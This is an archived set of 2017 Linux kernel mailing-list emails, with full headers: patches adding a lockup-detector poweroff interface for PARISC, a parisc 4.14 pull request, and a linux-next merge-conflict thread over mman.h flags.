References: <20170831071558.995235362@linutronix.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: blaine.gmane.org 1504164866 15235 195.159.176.226 (31 Aug 2017 07:34:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 Aug 2017 07:34:26 +0000 (UTC)
User-Agent: quilt/0.63-1
Cc: Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Borislav Petkov <bp@alien8.de>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Don Zickus <dzickus@redhat.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 31 09:34:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dnJzS-0003NF-RW
	for glk-linux-kernel-3@m.gmane.org; Thu, 31 Aug 2017 09:34:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751806AbdHaHbv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 31 Aug 2017 03:31:51 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:58823 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751716AbdHaHbn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 31 Aug 2017 03:31:43 -0400
Original-Received: from localhost ([127.0.0.1] helo=[127.0.1.1])
        by Galois.linutronix.de with esmtp (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1dnJvT-0003Dz-D7; Thu, 31 Aug 2017 09:30:07 +0200
Content-Disposition: inline;
 filename=lockup_detector--Provide-interface-to-stop.patch
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2561547 gmane.linux.ports.parisc:27782
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2561547>

PARISC has a a busy looping power off routine. If the watchdog is enabled
the watchdog timer will still fire, but the thread is not running, which
causes the softlockup watchdog to trigger.

Provide a interface which allows to turn the watchdog off.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 include/linux/nmi.h |    6 +++---
 kernel/watchdog.c   |   14 +++++++++++++-
 2 files changed, 16 insertions(+), 4 deletions(-)

--- a/include/linux/nmi.h
+++ b/include/linux/nmi.h
@@ -12,10 +12,10 @@
 
 #ifdef CONFIG_LOCKUP_DETECTOR
 void lockup_detector_init(void);
+void lockup_detector_soft_poweroff(void);
 #else
-static inline void lockup_detector_init(void)
-{
-}
+static inline void lockup_detector_init(void) { }
+static inline void lockup_detector_soft_poweroff(void) { }
 #endif
 
 #ifdef CONFIG_SOFTLOCKUP_DETECTOR
--- a/kernel/watchdog.c
+++ b/kernel/watchdog.c
@@ -333,7 +333,8 @@ static enum hrtimer_restart watchdog_tim
 	int duration;
 	int softlockup_all_cpu_backtrace = sysctl_softlockup_all_cpu_backtrace;
 
-	if (atomic_read(&watchdog_park_in_progress) != 0)
+	if (!watchdog_enabled ||
+	    atomic_read(&watchdog_park_in_progress) != 0)
 		return HRTIMER_NORESTART;
 
 	/* kick the hardlockup detector */
@@ -660,6 +661,17 @@ static void set_sample_period(void)
 }
 #endif /* SOFTLOCKUP */
 
+/**
+ * lockup_detector_soft_poweroff - Interface to stop lockup detector(s)
+ *
+ * Special interface for parisc. It prevents lockup detector warnings from
+ * the default pm_poweroff() function which busy loops forever.
+ */
+void lockup_detector_soft_poweroff(void)
+{
+	watchdog_enabled = 0;
+}
+
 /*
  * Suspend the hard and soft lockup detector by parking the watchdog threads.
  */




From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch 04/29] parisc: Use lockup_detector_stop()
Date: Thu, 31 Aug 2017 09:16:02 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20170831073053.281414373@linutronix.de>
References: <20170831071558.995235362@linutronix.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: blaine.gmane.org 1504164992 4939 195.159.176.226 (31 Aug 2017 07:36:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 31 Aug 2017 07:36:32 +0000 (UTC)
User-Agent: quilt/0.63-1
Cc: Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Borislav Petkov <bp@alien8.de>,
        Sebastian Siewior <bigeasy@linutronix.de>,
        Nicholas Piggin <npiggin@gmail.com>,
        Don Zickus <dzickus@redhat.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Ulrich Obergfell <uobergfe@redhat.com>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 31 09:36:26 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dnK1S-0000Zy-2m
	for glk-linux-kernel-3@m.gmane.org; Thu, 31 Aug 2017 09:36:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751778AbdHaHbt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 31 Aug 2017 03:31:49 -0400
Original-Received: from Galois.linutronix.de ([146.0.238.70]:58817 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751713AbdHaHbn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 31 Aug 2017 03:31:43 -0400
Original-Received: from localhost ([127.0.0.1] helo=[127.0.1.1])
        by Galois.linutronix.de with esmtp (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1dnJvT-0003E6-VB; Thu, 31 Aug 2017 09:30:08 +0200
Content-Disposition: inline; filename=parisc--Use-lockup_detector_stop--.patch
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2561556 gmane.linux.ports.parisc:27783
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2561556>

The broken lockup_detector_suspend/resume() interface is going away. Use
the new lockup_detector_soft_poweroff() interface to stop the watchdog from
the busy looping power off routine.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/process.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -146,7 +146,7 @@ void machine_power_off(void)
 
 	/* prevent soft lockup/stalled CPU messages for endless loop. */
 	rcu_sysrq_start();
-	lockup_detector_suspend();
+	lockup_detector_soft_poweroff();
 	for (;;);
 }
 




From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates and fixes for 4.14
Date: Mon, 4 Sep 2017 13:19:31 +0200
Lines: 116
Approved: news@gmane.org
Message-ID: <20170904111931.GA10427@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1504524003 30747 195.159.176.226 (4 Sep 2017 11:20:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 4 Sep 2017 11:20:03 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 04 13:19:47 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dopPo-00070t-Hf
	for glk-linux-kernel-3@m.gmane.org; Mon, 04 Sep 2017 13:19:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753614AbdIDLTp (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 4 Sep 2017 07:19:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59806 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753576AbdIDLTn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 4 Sep 2017 07:19:43 -0400
Original-Received: from ls3530 ([155.56.40.74]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MgsVY-1eAsVj0jRI-00M468; Mon, 04
 Sep 2017 13:19:35 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Plv05++3Bjjksp9bEKmam7zXxu+KNDYK89k4f0ZedDjpwGP864X
 OJk0yCmJnFXhootPpnmA6PhWegNBSu10F/RY9H+AnQG8eDG821bYRp22JPaRbwZ25+pfWoQ
 9UNeWfT3x2vXmMZYPlpVwe32ddmHQv2JNByvzJqxrvHJVXHe6xkBhM8SU8Q8xG/9BQb4Px9
 9jPKbQ7noXxoBTuaUUT4A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hEIqRe/Eyb0=:zwZxXQk4K4aRB659sgmXOE
 COdGuMnroD92cDGyIBgkgQH6u6TLwhLLGbNWRarLAmpHSYBVBsU69gs9kCPl8wZKOD6cpn+Qj
 YUphmai+GwLLo8Au5JGAwF/cpvolq2O5IBjd3FwhAnrcaA9WAPqzHXK7bvCy3gMZ1aRVd0q3T
 OaMVn4MqxV4wOruF7B3YPjxwTwd2PvanRSvGopzdpEvB8Cw0LvMDHEpJhBwebLikohOKDJwFw
 TWDtTDCY78WdmpX/4OnXuPW6dwhA7gbUwnfos4CYkd4God2HSWEujtvAb/60L78Rtkhda/I4p
 sBQiNvp6Pd8Z0aCkw8ugUGB+ypyQc7Z48uWorz5s7f57xzo/Tm67edCTezJkddxKQqSaPQ070
 tPgyDLCnn2Q3p7EBrW8/vSPCQwLWxuP7DoqgSwOKih91M3RqGn74071scrz4cMzqRNi8g+67h
 EckGl3Ms/sj/qPw/h+ZMCEc/nyA/9lf4QfNCFISemRypfnCSPbq+1GRpunj1/JeAcozr+Naoo
 wKiTNQWCmZBX4M0/EI8FdF+IFIiEq8LFvxC09hGb9vo5q6S5fpXvvxR6i4KzKjKeNmaWfL0gI
 BRwUDrYfcVpb/JeFGGVaGCNWBN4bjsjGu4YrYdeZaFLiRk2CrVBDAwEMiwi/Xj4ywl6RHVuW/
 YVU1w5Xd3XXFfmMCjrx3X5sDFIs+z14zIRbiq4AYIUHzO1T3DTDP7hlZ7QWoPUSBd2ude45HP
 +sYN5+zO1QSGf4PFrpJJ4mGjN9LLVkdlBAc9Jr/px0OwN28cNwRspXySq5ZEZwNGWXNvaWa5 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2563718 gmane.linux.ports.parisc:27784
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2563718>

Hi Linus,

please pull fixes and enhancements for the parisc architecture for kernel 4.14 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.14-1 

Major changes include:

- Full support of the firmware Page Deallocation Table with MADV_HWPOISON and
  MADV_SOFT_OFFLINE. A kernel thread scans regularily for new bad memory pages.

- Full support for self-extracting kernel.

- Added UBSAN support.

- Lots of section mismatch fixes across all parisc drivers.

- Added examples for %pF and %pS usage in printk-formats.txt

Thanks,
Helge

----------------------------------------------------------------

Helge Deller (27):
      parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE
      parisc: PDT/firmware: Add support to read PDT on older PAT-machines
      parisc: PDT: Add full support for memory failure via Page Deallocation Table (PDT)
      parisc: Static initialization of spinlocks in perf and unwind code
      parisc: Drop exception_data struct
      parisc: Static initialization of pcxl_res_lock spinlock
      parisc: Drop MADV_SPACEAVAIL, MADV_VPS_PURGE and MADV_VPS_INHERIT
      parisc/random: Add machine specific randomness
      parisc: Enable UBSAN support
      parisc: Add core code for self-extracting kernel
      parisc: Make existing core files reuseable for bootloader
      parisc: Wire up support for self-extracting kernel
      parisc/harmony: Fix section mismatches
      parisc/sticore: Fix section mismatches
      parisc/mux: Fix section mismatches
      parisc/8250_gsc: Fix section mismatches
      parisc/scsi/zalon: Fix section mismatches
      parisc/scsi/lasi700: Fix section mismatches
      parisc/parport_gsc: Fix section mismatches
      parisc: Fix section mismatches in parisc core drivers
      parisc/serio: Fix section mismatches in gscps2 and hp_sdc drivers
      parisc/net/lasi_82596: Fix section mismatches
      parisc/input/hilkbd: Fix section mismatches
      parisc/ipmi_si_intf: Fix section mismatches on parisc platform
      parisc/core: Fix section mismatches
      parisc: Fix up devices below a PCI-PCI MegaRAID controller bridge
      printk-formats.txt: Add examples for %pF and %pS usage

John David Anglin (1):
      parisc: Optimize switch_mm

 Documentation/printk-formats.txt          |  10 +
 arch/parisc/Kconfig                       |   9 +
 arch/parisc/Makefile                      |  16 +-
 arch/parisc/boot/.gitignore               |   2 +
 arch/parisc/boot/Makefile                 |  26 +++
 arch/parisc/boot/compressed/.gitignore    |   3 +
 arch/parisc/boot/compressed/Makefile      |  86 +++++++++
 arch/parisc/boot/compressed/head.S        |  85 +++++++++
 arch/parisc/boot/compressed/misc.c        | 301 ++++++++++++++++++++++++++++++
 arch/parisc/boot/compressed/vmlinux.lds.S | 101 ++++++++++
 arch/parisc/boot/compressed/vmlinux.scr   |  10 +
 arch/parisc/boot/install.sh               |  65 +++++++
 arch/parisc/include/asm/mmu_context.h     |   3 +
 arch/parisc/include/asm/page.h            |   4 +
 arch/parisc/include/asm/pdc.h             |   2 +
 arch/parisc/include/asm/pdcpat.h          |  14 ++
 arch/parisc/include/uapi/asm/mman.h       |   6 +-
 arch/parisc/kernel/firmware.c             |  62 +++++-
 arch/parisc/kernel/pci-dma.c              |   3 +-
 arch/parisc/kernel/pdt.c                  | 280 +++++++++++++++++++++++----
 arch/parisc/kernel/perf.c                 |   4 +-
 arch/parisc/kernel/processor.c            |  30 ++-
 arch/parisc/kernel/real2.S                |   4 +
 arch/parisc/kernel/unwind.c               |   4 +-
 arch/parisc/lib/memcpy.c                  |   2 -
 drivers/char/ipmi/ipmi_si_intf.c          |  12 +-
 drivers/input/keyboard/hilkbd.c           |  10 +-
 drivers/input/serio/gscps2.c              |  10 +-
 drivers/input/serio/hp_sdc.c              |   4 +-
 drivers/net/ethernet/i825xx/lasi_82596.c  |  10 +-
 drivers/parisc/asp.c                      |   4 +-
 drivers/parisc/ccio-dma.c                 |   4 +-
 drivers/parisc/ccio-rm-dma.c              |   6 +-
 drivers/parisc/dino.c                     |   4 +-
 drivers/parisc/eisa.c                     |   4 +-
 drivers/parisc/hppb.c                     |   6 +-
 drivers/parisc/lasi.c                     |   4 +-
 drivers/parisc/lba_pci.c                  |  46 ++++-
 drivers/parisc/sba_iommu.c                |   6 +-
 drivers/parisc/superio.c                  |   4 +-
 drivers/parisc/wax.c                      |   4 +-
 drivers/parport/parport_gsc.c             |  10 +-
 drivers/scsi/lasi700.c                    |   6 +-
 drivers/scsi/zalon.c                      |   8 +-
 drivers/tty/serial/8250/8250_gsc.c        |   8 +-
 drivers/tty/serial/mux.c                  |  14 +-
 drivers/video/console/sticore.c           |  11 +-
 sound/parisc/harmony.c                    |  10 +-
 tools/arch/parisc/include/uapi/asm/mman.h |   2 -
 49 files changed, 1182 insertions(+), 157 deletions(-)
 create mode 100644 arch/parisc/boot/.gitignore
 create mode 100644 arch/parisc/boot/Makefile
 create mode 100644 arch/parisc/boot/compressed/.gitignore
 create mode 100644 arch/parisc/boot/compressed/Makefile
 create mode 100644 arch/parisc/boot/compressed/head.S
 create mode 100644 arch/parisc/boot/compressed/misc.c
 create mode 100644 arch/parisc/boot/compressed/vmlinux.lds.S
 create mode 100644 arch/parisc/boot/compressed/vmlinux.scr
 create mode 100644 arch/parisc/boot/install.sh


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Tue, 5 Sep 2017 10:34:48 +1000
Lines: 48
Approved: news@gmane.org
Message-ID: <20170905103448.6dfb93eb@canb.auug.org.au>
References: <20170822165318.77e3e0ca@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1504571702 20593 195.159.176.226 (5 Sep 2017 00:35:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 5 Sep 2017 00:35:02 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Rik van Riel <riel@redhat.com>
To: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Sep 05 02:34:46 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1dp1pF-0004cJ-AL
	for glkn-linux-next@m.gmane.org; Tue, 05 Sep 2017 02:34:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754058AbdIEAev (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Mon, 4 Sep 2017 20:34:51 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:56127 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754045AbdIEAeu (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Mon, 4 Sep 2017 20:34:50 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xmSQw3jfhz9s4s;
        Tue,  5 Sep 2017 10:34:48 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1504571688;
        bh=BbrmcX7rqewsY4u1Xj3/jbhpypV+dtm3no/iXj9qkv0=;
        h=Date:From:To:Cc:Subject:In-Reply-To:References:From;
        b=u8PBlIRa/5aV5S2dWkPv/uCTK0xkRWBcg97LWUtiUDb0ajdNQ+L7pd/Koz3H5agQ/
         yevGY50+STZnLWVQdab7UwUfWchTM7ABYQbanxHaaYWFj3aCzv3aScL/1rQyv8FSAw
         rrI+Py+wTiJrFRzYTPx6n5j2HqOtfSaVwZK4Xm7h8dJeADfmEdjx9E95+Mjon0ZiMs
         sfhEim0EF4KFtxU+YARIuq7c0oi0zq8Zg7vsKTxVTvM8EgcP5qfrNztEpuX0T8E+tv
         8yvD3iJGud+mBSIwrXPjRAZBNEN85F+KhRaBKHdI391C/Kyam0WU2MT1U0KZ2U2wm1
         J5kkTCQjwpkxQ==
In-Reply-To: <20170822165318.77e3e0ca@canb.auug.org.au>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:43652 gmane.linux.ports.parisc:27785 gmane.linux.kernel:2564025
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/43652>

Hi all,

On Tue, 22 Aug 2017 16:53:18 +1000 Stephen Rothwell <sfr@canb.auug.org.au> wrote:
>
> Today's linux-next merge of the akpm-current tree got a conflict in:
> 
>   arch/parisc/include/uapi/asm/mman.h
> 
> between commit:
> 
>   1c190151447d ("parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE")
> 
> from the parisc-hd tree and commit:
> 
>   115d20ededaf ("mm,fork: introduce MADV_WIPEONFORK")
> 
> from the akpm-current tree.
> 
> I fixed it up (see below) and can carry the fix as necessary. This
> is now fixed as far as linux-next is concerned, but any non trivial
> conflicts should be mentioned to your upstream maintainer when your tree
> is submitted for merging.  You may also want to consider cooperating
> with the maintainer of the conflicting tree to minimise any particularly
> complex conflicts.
> 
> diff --cc arch/parisc/include/uapi/asm/mman.h
> index 9a9c2fe4be50,f6eec376e5fa..000000000000
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@@ -57,9 -60,9 +57,12 @@@
>   					   overrides the coredump filter bits */
>   #define MADV_DODUMP	70		/* Clear the MADV_NODUMP flag */
>   
> + #define MADV_WIPEONFORK 71		/* Zero memory on fork, child only */
> + #define MADV_KEEPONFORK 72		/* Undo MADV_WIPEONFORK */
> + 
>  +#define MADV_HWPOISON     100		/* poison a page for testing */
>  +#define MADV_SOFT_OFFLINE 101		/* soft offline page for testing */
>  +
>   /* compatibility flags */
>   #define MAP_FILE	0
>   #define MAP_VARIABLE	0

Just a reminder that the above conflict still exists.

-- 
Cheers,
Stephen Rothwell

From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Tue, 5 Sep 2017 08:09:01 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <bd74906d-c4a2-5ea5-ae4c-dba4cc5ac77f@gmx.de>
References: <20170822165318.77e3e0ca@canb.auug.org.au>
 <20170905103448.6dfb93eb@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1504591777 5672 195.159.176.226 (5 Sep 2017 06:09:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 5 Sep 2017 06:09:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Rik van Riel <riel@redhat.com>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 05 08:09:23 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dp72x-0000Ki-N1
	for glk-linux-kernel-3@m.gmane.org; Tue, 05 Sep 2017 08:09:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750975AbdIEGJT (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 5 Sep 2017 02:09:19 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:54577 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750707AbdIEGJR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 5 Sep 2017 02:09:17 -0400
Original-Received: from [192.168.20.60] ([193.159.27.169]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MUoiS-1dz12R1Qo0-00YDJQ; Tue, 05
 Sep 2017 08:09:03 +0200
In-Reply-To: <20170905103448.6dfb93eb@canb.auug.org.au>
Content-Language: en-US
X-Provags-ID: V03:K0:MfaLQ9pJ3BVGIsfO3xRq/4zAAteSAE54HAOp7uX3Y8B2bi6uuxq
 sFw57GezQZhs0fE6FTxiJ9paTo5iZvibXkBBfyY3wZ01uH0FIJzBOFMHo44WwrQ3SByhIWd
 v9jxbnSGVwvzJxCresMQ3pWZEMa1Pxx50COdHfw+N3UcjV6L4Nff0+E4NPYikERVQBcuMsy
 x3Fcb8rYCvQGOPhVLztUQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3iv0H2Z8CXw=:LWV+npTsIvUeQbyA1iRJGW
 LIJZyTqOKRBxlmPVWuGijmWTEujhKDBDMIjwNNGRiRw+WB97W41VxLGAbtEE9kvea34d/dbON
 XEXnp2zyXFstj/R24RWetV9L/eIYfyNfAfyJDNWeV3wu17Qw63pzyxEORq9BZBPte5FzVlGXc
 HruE03XHrPpPRB3ORCqgiYuCRH/pRZfHomxUaZBv0BBMV1Ibb9wr1dRHxxf1wP9XSFgTPp2VD
 NlcvLIDosMy1v9E/yMytAciR3+y0UbFVniDz1VOmuGMgLFztKYQMS85fnB5neyjxyNJ3kyTUO
 sW3zVAjAdDiTV/lJ4oQvCB+4/OFUd4WRUL7VbjM79SGt7m4TbTApj8ni6K57vP8AfjWANf22L
 u7YeeKUf+pVsYNPaJ90r5Ds04fEkphouE5SzVb6YOgSGC6zFQSwd5CgYVVTZuqRHTGZ2fItzy
 1Umoj61Lxthwmt4ydQtgW0he+Rng+pQd/ANiE/zURwLM1cpudHZewxl32q8pWPdsJSCvlrxrB
 qgkyKEo+LOFfzvogNfknjw53mD90HVLCigXUChbkjzcs0vu2gA4t2oiY1FFXl2/+IuFxl78VP
 W7kBA4k2xSiETDX+RGMJZfdLElbugtWHBequWmG5w9vkFbjvAlHkcKg5KqsnYx5j9pdUlDObF
 OMDzSZAuvWXI8/KlD3bg7K5xOiCeoANpC75FlxKKLhytbixyHOyQjnPCoQsr7Ed0+qKQ7DjBs
 KEdktGfLTne0r+Io6Y/lkr4W552oms7rx9tPKEBb7aKFaA1VTRGAWOSVN77ujEqKKoDazn0I 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2564103 gmane.linux.ports.parisc:27786 gmane.linux.kernel.next:43658
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2564103>

On 05.09.2017 02:34, Stephen Rothwell wrote:
> Hi all,
> 
> On Tue, 22 Aug 2017 16:53:18 +1000 Stephen Rothwell <sfr@canb.auug.org.au> wrote:
>>
>> Today's linux-next merge of the akpm-current tree got a conflict in:
>>
>>   arch/parisc/include/uapi/asm/mman.h
>>
>> between commit:
>>
>>   1c190151447d ("parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE")
>>
>> from the parisc-hd tree and commit:
>>
>>   115d20ededaf ("mm,fork: introduce MADV_WIPEONFORK")
>>
>> from the akpm-current tree.
>>
>> I fixed it up (see below) and can carry the fix as necessary. This
>> is now fixed as far as linux-next is concerned, but any non trivial
>> conflicts should be mentioned to your upstream maintainer when your tree
>> is submitted for merging.  You may also want to consider cooperating
>> with the maintainer of the conflicting tree to minimise any particularly
>> complex conflicts.
>>
>> diff --cc arch/parisc/include/uapi/asm/mman.h
>> index 9a9c2fe4be50,f6eec376e5fa..000000000000
>> --- a/arch/parisc/include/uapi/asm/mman.h
>> +++ b/arch/parisc/include/uapi/asm/mman.h
